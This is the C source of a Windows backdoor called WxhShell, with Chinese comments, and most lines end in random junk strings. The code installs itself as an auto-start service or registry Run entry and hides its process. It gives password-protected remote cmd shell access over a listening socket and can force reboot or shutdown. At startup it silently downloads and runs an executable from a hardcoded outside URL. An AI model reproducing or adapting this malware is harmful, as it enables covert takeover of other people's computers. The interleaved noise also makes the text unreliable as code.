    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ua E,F^p  
    if(Boot(SHUTDOWN)) rf+Z0C0WYi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdeI/4 B  
    else { #&X5Di[A  
    closesocket(wsh); U"RA*|  
    ExitThread(0); -AN5LE9-  
    } GkpYf~\Q  
    break; n^|SN9 _r  
    } l >~Rzw  
  // 获取shell =o4gW`\z  
  case 's': { \%&):OD1  
    CmdShell(wsh); D"gv:RojD  
    closesocket(wsh); C8W_f( i~  
    ExitThread(0); xXlx}C  
    break; p:V1VHT,  
  } y+p"5s"  
  // 退出 Rl&nR$#  
  case 'x': { tOX -vQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,xg-H6Xfa{  
    CloseIt(wsh); T|,/C|L  
    break; 7g$*K0m`  
    } Y-lwS-Ii  
  // 离开 OLo?=1&;;  
  case 'q': { n&,X ']z.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aJ@lT&.  
    closesocket(wsh); fr'DV/T  
    WSACleanup(); $xCJ5M4  
    exit(1); %(|-+cLW+  
    break; 8DX5bB  
        } 7 0PGbAD  
  } m>|7&l_  
  } * mH&Gn1  
:}2Tof2  
  // 提示信息 O`$\P lt|v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +koW3>  
} >{l b|Vx  
  } KrR`A(=WL  
LP !d|X  
  return; 9oIfSr,y  
} Sk:x.oOZ  
bI^F (  
// shell模块句柄 -Kw7! =_ g  
int CmdShell(SOCKET sock) T(,@]=d,DD  
{ U{qwhz(  
STARTUPINFO si; ^q`RaX)  
ZeroMemory(&si,sizeof(si)); /;vHAtt;f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [+8*}03  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6v74mIRn'?  
PROCESS_INFORMATION ProcessInfo; 2I|lY>Z  
char cmdline[]="cmd"; v}id/brl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8H1&=)M=  
  return 0; QeN7~ J  
} rp^:{6O  
re,}}'  
// 自身启动模式 q6b&b^r+H  
int StartFromService(void) T9'HQu  
{ d,o*{sM5d  
typedef struct 7kITssVHI  
{ ~T/tk?:8Vi  
  DWORD ExitStatus; f$5\ b[O  
  DWORD PebBaseAddress; _8ks`O#}  
  DWORD AffinityMask; sy-#Eo#3  
  DWORD BasePriority; )c?nh3D  
  ULONG UniqueProcessId; 4;@L#Pzt  
  ULONG InheritedFromUniqueProcessId; Z +O< IF%  
}   PROCESS_BASIC_INFORMATION; <EdNF&S-  
rxs:)# ?A  
PROCNTQSIP NtQueryInformationProcess; f3 imkZ(  
6oFA=CjU{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oIQ$98M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #2lvRJB  
4'tY1 d  
  HANDLE             hProcess; ]omBq<ox'Y  
  PROCESS_BASIC_INFORMATION pbi; 'vYt_T  
!]5V{3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 17`-eDd  
  if(NULL == hInst ) return 0; H: ;XU  
$Yp.BE<}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U(Bmffn4Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Q7X"ek~[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x <OVtAUB  
^w&!}f+  
  if (!NtQueryInformationProcess) return 0; X4!Jj *  
` @lNt}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :6Tv4ZUvcG  
  if(!hProcess) return 0; &;`E3$>  
|f\WVGH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4?+jvVq  
aL&9.L|1 g  
  CloseHandle(hProcess); NTO.;S|2%  
]>ndFE6kl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O<$j}?2  
if(hProcess==NULL) return 0; =q|//*t2  
:Rnwyj])  
HMODULE hMod; 2[j`bYNe  
char procName[255]; lA;qFXaN>  
unsigned long cbNeeded; xn@oNKD0  
g>#}(u!PH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); | +uc;[`  
th<>%e}5c  
  CloseHandle(hProcess); V#+F*w?&D  
VS!v7-_N5  
if(strstr(procName,"services")) return 1; // 以服务启动 I~Qi):&x  
c4r9k-w0E  
  return 0; // 注册表启动 8H T3C\$s  
} g$vOWSI +  
|/$954Hr#<  
// 主模块 RTDplv; ]  
int StartWxhshell(LPSTR lpCmdLine) A0,e3gb  
{ _ b</ ::Tp  
  SOCKET wsl; XX "3.zW  
BOOL val=TRUE; Sqyju3Yp  
  int port=0; Zz]/4 4t  
  struct sockaddr_in door; ]0SqLe  
g[ uf e<  
  if(wscfg.ws_autoins) Install(); O(9*VoD  
gjFQDrz(  
port=atoi(lpCmdLine); "q!*RO'a  
l8 $.k5X  
if(port<=0) port=wscfg.ws_port; \qlz<   
vlipB}  
  WSADATA data; c/:k|x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZG{#CC=  
O3%#Q3c>3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fZLAZMrM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8<32(D{  
  door.sin_family = AF_INET; k7L4~W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rz2,42H]  
  door.sin_port = htons(port); jGo\_O<of  
qn,fx6v4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +x/vZXtOK  
closesocket(wsl); >6@,L+-6r  
return 1; &3x da1H  
} ?^^TR/  
"3|OB, <;:  
  if(listen(wsl,2) == INVALID_SOCKET) { @v!#_%J  
closesocket(wsl); cS2]?zI  
return 1; Ly R<cd$W  
} !R#PJH/TM  
  Wxhshell(wsl); sIl&\g<b  
  WSACleanup(); h(3-/4  
4L4u<  
return 0; ne3t|JZ  
y@7CY-1  
} OsVz[wN  
Snp(&TD<<  
// 以NT服务方式启动 t]iKU@3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %K7;ePu  
{ Z!jJ93A"  
DWORD   status = 0; Ke]'RfO\  
  DWORD   specificError = 0xfffffff; ,^<39ng  
{ot6ssT=D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =<zlg~i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "(kiMo g-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V?`|Ha}  
  serviceStatus.dwWin32ExitCode     = 0; zy8+~\a+Y&  
  serviceStatus.dwServiceSpecificExitCode = 0; SJ:Teab  
  serviceStatus.dwCheckPoint       = 0; vq-;wdq?2  
  serviceStatus.dwWaitHint       = 0; _J#oAE5]!  
\5=4!Ez  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |}/KueZ  
  if (hServiceStatusHandle==0) return; Qw|y%Td8r  
HCe/!2Y/%  
status = GetLastError(); >Rb jdM5K4  
  if (status!=NO_ERROR) 0dI7{o;<|  
{ ,OP\^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4!-R&<TLve  
    serviceStatus.dwCheckPoint       = 0; ] \!,yiVeU  
    serviceStatus.dwWaitHint       = 0; #e[r0f?U  
    serviceStatus.dwWin32ExitCode     = status; ,9ew75Jl  
    serviceStatus.dwServiceSpecificExitCode = specificError; E @Rb+8},"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U!RIeC  
    return; %|f@WxNrU  
  } ~x@V"rxGw  
F[F  NtZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0;*[}M]Z  
  serviceStatus.dwCheckPoint       = 0; /q7$"wP  
  serviceStatus.dwWaitHint       = 0; >?G!>kw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J~ +p7S  
} fD8GAav  
g2rH"3sC  
// 处理NT服务事件,比如:启动、停止 :O?3lj)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6Bexwf<u  
{ [D<(xr&N%  
switch(fdwControl) }g|9P SbJ  
{ FP0GE  
case SERVICE_CONTROL_STOP: f 9IqcCSW  
  serviceStatus.dwWin32ExitCode = 0; V>UlL&V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V%C'@m(/SZ  
  serviceStatus.dwCheckPoint   = 0; ; vWJOvM2  
  serviceStatus.dwWaitHint     = 0; {~(XO@;b  
  { -rHqU|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w_LkS/  
  } #G?",,&dM  
  return; CWB<I  
case SERVICE_CONTROL_PAUSE: |RqCI9N6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U^DR'X=  
  break; 4X}TG  
case SERVICE_CONTROL_CONTINUE: YG*}F|1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |S]fs9  
  break; 73{<;z}i  
case SERVICE_CONTROL_INTERROGATE: b.}J'?yLm  
  break; :`<MlX  
}; T8W^qrx.v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qDfhR`1k  
} Z*v`kl  
}>3jHWxLc  
// 标准应用程序主函数 at2)%V)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?nE9@G5Gc  
{ _(8N*q*w  
RmO kb~  
// 获取操作系统版本 uBC#4cX`D*  
OsIsNt=GetOsVer(); 1Vz3N/AP%?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {?A/1q4rr  
8)83j6VF  
  // 从命令行安装 ^?A>)?Sq  
  if(strpbrk(lpCmdLine,"iI")) Install(); gd]_OY7L  
N f}ZG  
  // 下载执行文件 [<Mls@?  
if(wscfg.ws_downexe) { gl2l%]=\'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e<~bDFH  
  WinExec(wscfg.ws_filenam,SW_HIDE); BE0Xg  
} %;Z_`W  
A,7* 52U  
if(!OsIsNt) { .hoVy*I  
// 如果时win9x,隐藏进程并且设置为注册表启动 hVJ}EF 0  
HideProc(); d4A:XNKB  
StartWxhshell(lpCmdLine); Q#&6J=}  
} B&EUvY '  
else "-G7eGQ  
  if(StartFromService()) $H/: -v  
  // 以服务方式启动 Tl?jq]  
  StartServiceCtrlDispatcher(DispatchTable); ,.;{J|4P  
else O >@Q>Z8W?  
  // 普通方式启动 O>" |5 wj  
  StartWxhshell(lpCmdLine); Q]dKyMSSA  
)<e,-XujY  
return 0; ws U@hqS  
} n S Vr,wU  
4ZYywDwn  
64^3ve3/a=  
3b`#)y^y?%  
=========================================== i@%a!].I  
6!=q+sw/X  
Zl.,pcL  
eF4f7>5Cv  
,WAJ& '^  
[EQTrr( D  
" rV*Ri~Vx  
`?d` #) Ck  
#include <stdio.h> ?-<>he  
#include <string.h> SF"r</c[  
#include <windows.h> R#rfnP >  
#include <winsock2.h> 5E}]U,$  
#include <winsvc.h> bJynUZ  
#include <urlmon.h>  DD[<J:6  
I-Am9\   
#pragma comment (lib, "Ws2_32.lib") w.+G+ r=  
#pragma comment (lib, "urlmon.lib") ~{{7y]3M-  
`84,R!  
#define MAX_USER   100 // 最大客户端连接数 V%`\x\Xat  
#define BUF_SOCK   200 // sock buffer $j4/ohwTDY  
#define KEY_BUFF   255 // 输入 buffer &,\my-4c>  
wzY{ii  
#define REBOOT     0   // 重启 1>umf~%Wa  
#define SHUTDOWN   1   // 关机 [LV>z  
[?XP[h gd  
#define DEF_PORT   5000 // 监听端口 /38XaKc{6  
mKUm*m#<R  
#define REG_LEN     16   // 注册表键长度 {CX06BP  
#define SVC_LEN     80   // NT服务名长度 /#?! 9c  
o Z%oP V:  
// 从dll定义API Pa?C-Xn^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D23 c/8K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g ?@fHFct  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wb39s^n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @z=L\ e{  
=yPV9#(I/  
// wxhshell配置信息 I`x[1%y2 F  
struct WSCFG { s+h}O}RV  
  int ws_port;         // 监听端口 Q+O./1x*,  
  char ws_passstr[REG_LEN]; // 口令 J2$,'(!(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4 lwoTGVZj  
  char ws_regname[REG_LEN]; // 注册表键名 0Ld"df*  
  char ws_svcname[REG_LEN]; // 服务名 j&q%@%Gm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *0_Q0SeE,o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Dx p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N7^sn!JB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '{)Jhl47   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0u +_D8G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ` :Oje  
Ian+0 ?`e  
}; yIWgC[  
w/9%C(w6  
// default Wxhshell configuration K.b :ae^k  
struct WSCFG wscfg={DEF_PORT, j?\z5i""f  
    "xuhuanlingzhe", \4O_@d`A  
    1, C>QWV[F  
    "Wxhshell", 'k[vcnSz\/  
    "Wxhshell", ,G[Y< ~Hy  
            "WxhShell Service", a&7uRR26  
    "Wrsky Windows CmdShell Service", VDiW9]  
    "Please Input Your Password: ", p@oz[017/J  
  1, @]Ac >&  
  "http://www.wrsky.com/wxhshell.exe", AP ]`'C  
  "Wxhshell.exe" P#[?Kfi  
    }; U&#`5u6'j  
RSnBG"  
// 消息定义模块 WS%yV|e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /0XmU@B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WYIv&h<h"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +fQJ#?N2n  
char *msg_ws_ext="\n\rExit."; dZ4c!3'F  
char *msg_ws_end="\n\rQuit."; Q 87'zf  
char *msg_ws_boot="\n\rReboot..."; FB %-$  
char *msg_ws_poff="\n\rShutdown..."; FbXur-et^  
char *msg_ws_down="\n\rSave to "; %8xKBL]J  
dk0} q6~  
char *msg_ws_err="\n\rErr!"; {vQ:4O!:  
char *msg_ws_ok="\n\rOK!"; BKYyc6iE  
fm!\**Q1  
char ExeFile[MAX_PATH]; |OuIQhoE  
int nUser = 0; _ER. AKY  
HANDLE handles[MAX_USER]; $weC '-n@  
int OsIsNt; x0lAJaG  
pnXwE-c_  
SERVICE_STATUS       serviceStatus; sD|}? 7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rE0%R+4?  
5kojh _\  
// 函数声明 wVX2.D'n<  
int Install(void); r;+a%?P  
int Uninstall(void); AHHV\r  
int DownloadFile(char *sURL, SOCKET wsh); 'X`W+=T$  
int Boot(int flag); ,hm&]  
void HideProc(void); as@? Kv  
int GetOsVer(void); %AmyT  
int Wxhshell(SOCKET wsl); xqQK-?k  
void TalkWithClient(void *cs); T2Yc` +  
int CmdShell(SOCKET sock); ph~BxK )i6  
int StartFromService(void); ux6p2Sk;K  
int StartWxhshell(LPSTR lpCmdLine); k *>"@  
7xfS%'=y"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3$.#\*s_4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mq_P'/  
? 51i0~O=  
// 数据结构和表定义 "]OROJGa  
SERVICE_TABLE_ENTRY DispatchTable[] = ,sT5TS q  
{ Y~?Z'uR  
{wscfg.ws_svcname, NTServiceMain}, Pz 0TAb  
{NULL, NULL} *]nk{jo2  
}; `>OKV;~{z  
6Cfsh<]b  
// 自我安装 ^F&j;8U  
int Install(void) }7_$[r'_oI  
{ Wfy+9"-;s  
  char svExeFile[MAX_PATH]; =ADOf_n}  
  HKEY key; d]MpE9@'v  
  strcpy(svExeFile,ExeFile); p7HLSB2Rp  
|kTq &^$  
// 如果是win9x系统,修改注册表设为自启动 Ul}<@d9: B  
if(!OsIsNt) { lS#^v#uS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sh?eb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qW'L}x  
  RegCloseKey(key); J~50#vHY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nr).*]g@~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dGz4`1(>  
  RegCloseKey(key); ]wi0qc2 {  
  return 0; D4uAwmc  
    }  V^rL  
  } 5=%KK3  
} iio-RT?!  
else { Kmw #Q`  
.Lu3LVS  
// 如果是NT以上系统,安装为系统服务 *z.rOY= 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }D.\2x(J  
if (schSCManager!=0) X5)(,036  
{ Kr;=4xg=  
  SC_HANDLE schService = CreateService G*jq5_6  
  ( +L@\/=;G  
  schSCManager, cBv"d ~  
  wscfg.ws_svcname, z;ku*IV  
  wscfg.ws_svcdisp, _"*s x-  
  SERVICE_ALL_ACCESS, /)kx`G_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PB!XApTb  
  SERVICE_AUTO_START, hljKBx ~  
  SERVICE_ERROR_NORMAL, _O ;4>  
  svExeFile, CGkx_E]  
  NULL, B^/k`h6J  
  NULL, o\; hF3   
  NULL, U<E]c 4*  
  NULL, gXM+N(M-  
  NULL $15H_X*!  
  ); "_&c[VptWi  
  if (schService!=0) FFN Sn  
  { [;4;. V  
  CloseServiceHandle(schService); <q>d@Foi  
  CloseServiceHandle(schSCManager); /+8VW;4|I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KY%{'"'u  
  strcat(svExeFile,wscfg.ws_svcname); 6 jm@`pYbE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3:xKq4?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HFlExa u  
  RegCloseKey(key);  sFnR;  
  return 0; #9F>21UU  
    } E31Yk D.A  
  } 7#NHPn  
  CloseServiceHandle(schSCManager); O .-n&U9  
} uG +ZR: _  
} M&<qGV$A  
Px9 K  
return 1;  ; (A-  
} scYqU7$%T  
6:6A" A  
// 自我卸载 YDj5+'y  
int Uninstall(void) 8FZC0j.^DH  
{ [HUK 9hG  
  HKEY key; %u_dxpx  
xR|^{y9n  
if(!OsIsNt) { O&yAFiCd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K]G(u"'  
  RegDeleteValue(key,wscfg.ws_regname); ezCJq`b  
  RegCloseKey(key); \=]`X2Ld  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~8"oH5  
  RegDeleteValue(key,wscfg.ws_regname); #NYHwO<0-  
  RegCloseKey(key); ';c 6  
  return 0; ?Zsh\^k.g  
  } ^8J`*R8CL  
} kFC*,  
} nc\2A>f`  
else { 0:<Y@#L  
+."cbqGP_q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~PpDrJ; Va  
if (schSCManager!=0) <VutwtA  
{ s{8=Q0^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G--(Ef%v'  
  if (schService!=0) BV }CmU&DA  
  { YOj&1ymBZ  
  if(DeleteService(schService)!=0) { ~!Nw]lb!  
  CloseServiceHandle(schService); )fxn bBz{  
  CloseServiceHandle(schSCManager); >cg)Nq D  
  return 0; nk7>iK!i  
  } 9V[}#(f$  
  CloseServiceHandle(schService); gIusp917  
  } 0@{0#W3R  
  CloseServiceHandle(schSCManager); @rDBK] V  
} *|<~IQg  
} wfpl]d!  
'GX x|.  
return 1; zy nX9t  
} `j9\]50Z>  
Xt$P!~Lu  
// 从指定url下载文件 rpDBKo  
int DownloadFile(char *sURL, SOCKET wsh) E2YVl%.  
{ Y6Cm PxOQ  
  HRESULT hr; oP%5ymL%J  
char seps[]= "/"; 0"T/a1S7bl  
char *token; ,+4T7 UR  
char *file; U]_WX(4 @  
char myURL[MAX_PATH]; eEP{?F^I[  
char myFILE[MAX_PATH]; l|E4 7@#  
FI.F6d)E$  
strcpy(myURL,sURL); Us!ZQ#pP  
  token=strtok(myURL,seps); G &NK  
  while(token!=NULL) ZfH>UHft  
  { 8ih_S2Cd  
    file=token; D7JrGaF{  
  token=strtok(NULL,seps); $u'"C|>8  
  } ;UM(y@  
6)ln,{  
GetCurrentDirectory(MAX_PATH,myFILE); R@s7s%y=  
strcat(myFILE, "\\"); kWVk^ ,  
strcat(myFILE, file); iLNUydiS  
  send(wsh,myFILE,strlen(myFILE),0); [ }Tb2|  
send(wsh,"...",3,0); doHE]gC2Uz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .%e>>U>F  
  if(hr==S_OK) ~<9e }J  
return 0; J -Lynvqm  
else 6$=>ckP  
return 1; Z`M pH  
m"'LT0nur  
} US(RWXyg  
*<y9.\z Y<  
// 系统电源模块 p9u*l  
int Boot(int flag) A%HIfSzQBS  
{ $p4e8j[EJ  
  HANDLE hToken; G9LWnyQt  
  TOKEN_PRIVILEGES tkp; Sw,*#98  
58HA*w  
  if(OsIsNt) { 6Aq]I$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !rAH@y.l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [+pa,^  
    tkp.PrivilegeCount = 1; 'TH[Db'`I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o:W*#dt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z|Rc54Ct  
if(flag==REBOOT) { @KU;' th  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1zH?.-  
  return 0; 'N+;{8C-{  
} W&R67ff|  
else { @4 8!e-W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +$nNYD  
  return 0; uax0%~O\  
} ncOgSj7e  
  } zPqJeYK  
  else { M9BEG6E9  
if(flag==REBOOT) { }u3|w0~c)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U&u63 56  
  return 0; VrP{U-`  
} T1.U (::  
else { M'<% d[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z EtsMU  
  return 0; aK;OzB)  
} {}k3nJfE  
} k?&GL!?  
EFh^C.S8  
return 1; XX%K_p`&Z  
} u*P@Nuy6  
dhLR#m30T  
// win9x进程隐藏模块 J8r8#Zz  
void HideProc(void) =RD>#'sUK  
{ BA1uo0S `S  
}*QK;#NEc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EYj~Xj8_  
  if ( hKernel != NULL ) g`S;xs  
  { hx9t{Zi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LOcZadr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !37I2*+4  
    FreeLibrary(hKernel); oo &|(+"O_  
  } df@NV Ld  
eT3!"+p-F  
return; [>54?4{|.  
} 3 mAizq3  
0>td[f  
// 获取操作系统版本 XWS]4MB+vm  
int GetOsVer(void) |TM n  
{ R@jMFh;  
  OSVERSIONINFO winfo; L{&2 P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q~Mkf&s  
  GetVersionEx(&winfo); S@u46X>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p{LbTjdNc  
  return 1; >zX^*T#  
  else X5/fy"g&  
  return 0; C 4C /  
} ^U5N!"6R  
}aE'  
// 客户端句柄模块 xO>z )3A  
int Wxhshell(SOCKET wsl) Y` ]P&y  
{ s)]T"87H'_  
  SOCKET wsh; ZJZSt% r  
  struct sockaddr_in client; \}=T4w-e  
  DWORD myID; W@r<4?Oat  
dX)a D $m  
  while(nUser<MAX_USER) |rk.t g9  
{ 06%-tAq:  
  int nSize=sizeof(client); \UZGXk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 99ZWB  
  if(wsh==INVALID_SOCKET) return 1; :qbU@)p*  
nfHjIYid  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bk<Rp84vL  
if(handles[nUser]==0) b<~8\\ &  
  closesocket(wsh); c:.5@eq^  
else "kFH*I+v  
  nUser++; r1-MO`6  
  } 6}I X{nQI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EniV-Uj\D  
H i8V=+  
  return 0; <#?dPDMG.*  
} Cfmd*,  
e_Hpai<b  
// 关闭 socket !`?i>k?Q E  
void CloseIt(SOCKET wsh) i'H]N8,A  
{ $%DoLpE>  
closesocket(wsh); N~=PecQ  
nUser--; 0*5Jq#5  
ExitThread(0); "o`?-bQ:  
} iQ:eR]7X  
E-C]<{`O  
// 客户端请求句柄 L%Zr3Ct  
void TalkWithClient(void *cs) K)>F03=uE  
{ K<5yjG8&  
X/:V{2  
  SOCKET wsh=(SOCKET)cs; &}e>JgBe0  
  char pwd[SVC_LEN]; ,NZllnW  
  char cmd[KEY_BUFF]; ANBuX6q  
char chr[1]; duEXp]f!  
int i,j; J?m/u6  
KMy"DVqE  
  while (nUser < MAX_USER) { ynM~&]fk#k  
hGV_K"~I0  
if(wscfg.ws_passstr) { +W[f>3`VQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K1J |\!o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <lIm==U<-  
  //ZeroMemory(pwd,KEY_BUFF); ,hI$nF0}p  
      i=0; vFdI?(c-  
  while(i<SVC_LEN) { V':A!  
3GE;:;8B  
  // 设置超时 eEVB   
  fd_set FdRead; '9WTz(0?  
  struct timeval TimeOut; Izu____  
  FD_ZERO(&FdRead); 4w ,&#L  
  FD_SET(wsh,&FdRead); w%qnH e9  
  TimeOut.tv_sec=8; X:Wd%CHP  
  TimeOut.tv_usec=0; v.8kGF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n4dNGp7\`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H}~K51  
MF'Z?M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yOEy3d=*  
  pwd=chr[0]; #N`G2}1J  
  if(chr[0]==0xd || chr[0]==0xa) { E`JW4)AH  
  pwd=0; R_/;U&R  
  break; :$u[1&6  
  } 6 ~0kb_td  
  i++; TPBQfp%HU  
    } J i@q7qkC  
?:`sE"  
  // 如果是非法用户,关闭 socket | 8mWR=9fs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c]x-mj =  
} mB>0$l y  
9HFEp-"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e< @$(w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KPz0;2}  
BZ.l[LMp  
while(1) { ${z#{c1  
MMKN^a"GA  
  ZeroMemory(cmd,KEY_BUFF); V1M|p!  
`=hCS0F  
      // 自动支持客户端 telnet标准   *GXPN0^Qjo  
  j=0; Axb=1_--  
  while(j<KEY_BUFF) { ]QJ5JtD-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z+U -+eG  
  cmd[j]=chr[0]; ',`Qx{tQ)  
  if(chr[0]==0xa || chr[0]==0xd) { aE)1LP  
  cmd[j]=0; `)8~/G%  
  break; _GxC|d  
  } w=_^n]`R  
  j++; 5TpvJ1G  
    } ,^e2ma|z  
b(|&e  
  // 下载文件 3AdYZ7J  
  if(strstr(cmd,"http://")) { "ADI .  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  YC 6guy>  
  if(DownloadFile(cmd,wsh)) T;BFO5G@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sd ^I >;  
